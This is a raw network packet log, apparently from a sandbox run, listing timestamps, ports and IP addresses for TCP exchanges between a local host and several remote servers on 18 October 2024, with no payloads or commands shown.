Oct 18, 2024 15:04:11.193583965 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.193593979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.193634033 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.193646908 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.213815928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.213875055 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.214073896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214087009 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214123964 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.214144945 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.214437008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214449883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214462042 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214473963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214485884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.214498043 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.214540958 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.216088057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216101885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216111898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216124058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216135025 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216145992 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216160059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216165066 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.216176033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216188908 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.216192007 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.216211081 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.216242075 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.217294931 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217308998 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217329025 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217340946 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217350960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217364073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217375994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217375994 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.217391014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.217410088 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.217432022 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.218154907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.218168974 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.218178988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.218192101 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.218204021 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.218220949 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.218235970 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.218244076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.219187021 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219198942 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219208956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219219923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219233036 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219245911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219245911 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.219259024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219270945 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.219274044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.219293118 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.219306946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.220366955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220397949 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220402956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220408916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220413923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220424891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220431089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220437050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.220496893 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.220525026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.221632004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.221646070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.221656084 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.221668959 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.221688986 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.221704960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.221719980 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.221719980 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.221738100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.223753929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.223764896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.223773956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.223778963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.223784924 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.223834991 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.223877907 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.225613117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.225627899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.225641012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.225708961 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.227629900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.227643967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.227655888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.227720976 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.227736950 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.236466885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.237970114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.237982988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.238054037 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.238289118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.238301039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.238312006 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.238322973 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.238346100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.238364935 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.238400936 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.239629030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239640951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239651918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239664078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239686012 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.239722013 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.239903927 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239957094 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239968061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239979029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.239994049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.240015984 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.241561890 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241574049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241578102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241588116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241599083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241605043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241610050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.241626978 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.241650105 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.241673946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.243062973 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.243112087 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.251250982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.251451015 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.251477003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.251488924 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.251502037 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.251526117 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.251550913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.251919031 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.251975060 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.252429008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.252440929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.252449989 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.252463102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.252473116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.252485991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.252487898 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.252526999 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.253070116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.253119946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:12.997051954 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:12.997097015 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:12.997183084 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:13.020317078 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:13.020333052 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:13.526853085 CEST	49793	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:13.527271986 CEST	49825	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:13.534024954 CEST	80	49825	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:13.534039974 CEST	80	49793	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:13.534104109 CEST	49793	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:13.534162045 CEST	49825	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:13.534265995 CEST	49825	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:13.544003963 CEST	80	49825	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:13.986824036 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:13.986970901 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.063968897 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.063987017 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.064307928 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.104377985 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.232192993 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.275412083 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.559788942 CEST	80	49825	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:14.559881926 CEST	49825	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:14.561631918 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:14.561952114 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:14.571958065 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:14.572063923 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:14.572235107 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:14.574738026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:14.574799061 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:14.577761889 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:14.871018887 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.871045113 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.871076107 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.871092081 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.871108055 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.871123075 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.871131897 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.871154070 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.871182919 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.878423929 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.878442049 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.878505945 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.878515005 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.878557920 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.880641937 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.880695105 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.880702019 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.880716085 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.880748034 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.880770922 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.888664961 CEST	49823	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:14.888681889 CEST	443	49823	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:14.986207008 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:14.986241102 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:14.986310959 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:14.986613035 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:14.986623049 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.570722103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.570775986 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.570959091 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.570972919 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.571003914 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.571024895 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.571902037 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.571916103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.571964979 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.572911024 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.572926044 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.572966099 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.573590994 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.573606968 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.573702097 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.573702097 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.575910091 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.575959921 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.579061031 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.579112053 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.604367018 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.604449987 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.606077909 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.606085062 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.606313944 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.607479095 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.607508898 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.607538939 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.734407902 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.734443903 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.734461069 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.734519005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.734539986 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.735445976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.735459089 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.735511065 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.735964060 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.735977888 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.736016035 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.736912012 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.736924887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.736953974 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.736984968 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.737327099 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.737340927 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.737373114 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.737384081 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.738162041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.738207102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.738209963 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.738250971 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.738943100 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.738956928 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.738970041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.738989115 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.739001036 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.739022970 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.739675045 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.739690065 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.739726067 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.740375042 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.740389109 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.740421057 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.741012096 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.741065979 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.741144896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:15.741189957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:15.742834091 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.743215084 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.743248940 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.743262053 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.743274927 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.743311882 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.743968964 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.744045973 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.744091988 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.744174957 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.744174957 CEST	49833	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.744189024 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.744195938 CEST	443	49833	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.794254065 CEST	49839	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.794301987 CEST	443	49839	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:15.794364929 CEST	49839	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.794656038 CEST	49839	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:15.794667959 CEST	443	49839	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:16.054003954 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.054131031 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.054869890 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.054883003 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.054928064 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.054963112 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.055960894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.055973053 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.056021929 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.056618929 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.056632996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.056643963 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.056657076 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.056684971 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.056684971 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.056740999 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.057838917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.057852983 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.057900906 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.057900906 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.058698893 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.058712959 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.058753014 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.075579882 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.075594902 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.075740099 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.075740099 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.076436043 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.076448917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.076534033 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.076534033 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.076642990 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.076656103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.076689959 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.076761961 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.080852985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.080866098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.080878019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.080902100 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.080921888 CEST	49830	80	192.168.2.4	185.215.113.103
